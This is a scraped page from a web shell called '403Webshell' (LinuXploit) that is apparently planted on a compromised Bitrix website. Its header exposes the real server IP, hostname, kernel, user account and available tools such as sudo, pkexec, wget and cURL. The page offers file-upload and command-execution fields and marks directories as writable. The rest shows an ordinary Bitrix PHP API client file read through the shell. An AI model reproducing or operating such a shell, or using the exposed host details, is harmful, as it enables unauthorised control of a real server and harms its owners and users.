403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/messageservice/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/messageservice/lib/ApiClient.php
<?php

namespace Bitrix\MessageService;

use Bitrix\Main\Config\Option;
use Bitrix\Main\Result;
use Bitrix\Main\Service\MicroService\BaseSender;

class ApiClient extends BaseSender
{
	protected const SERVICE_ENDPOINT_OPTION = 'service_endpoint';
	protected const DEFAULT_ENDPOINT = 'https://unc.bitrix24.tech';
	protected const ENDPOINTS = [
		'ru' => 'https://unc.bitrix24.tech',
		'en' => 'https://unc-eu.bitrix.info',
	];
	protected const RU_REGIONS = ['ru', 'by', 'kz', 'uz'];

	protected $customEndpoint;

	public function __construct(string $endpoint = null)
	{
		parent::__construct();

		if ($endpoint)
		{
			$this->customEndpoint = $endpoint;
		}
	}

	/**
	 * Returns API endpoint for the service.
	 *
	 * @return string
	 */
	protected function getServiceUrl(): string
	{
		return $this->customEndpoint ?? $this::getDefaultEndpoint();
	}

	protected static function getDefaultEndpoint(): string
	{
		if (defined('NOTIFICATIONS_ENDPOINT'))
		{
			return \NOTIFICATIONS_ENDPOINT;
		}

		return Option::get('notifications', static::SERVICE_ENDPOINT_OPTION, self::getCurrentEndpoint());
	}

	protected static function getCurrentEndpoint(): string
	{
		$region = \Bitrix\Main\Application::getInstance()->getLicense()->getRegion() ?? 'en';

		if (in_array($region, static::RU_REGIONS))
		{
			return self::ENDPOINTS['ru'];
		}

		return self::ENDPOINTS[$region] ?? self::ENDPOINTS['en'];
	}

	public function listAutoTemplates(string $langId = ''): Result
	{
		return $this->performRequest(
			"notificationservice.Template.listAuto",
			[
				'languageId' => $langId
			]
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit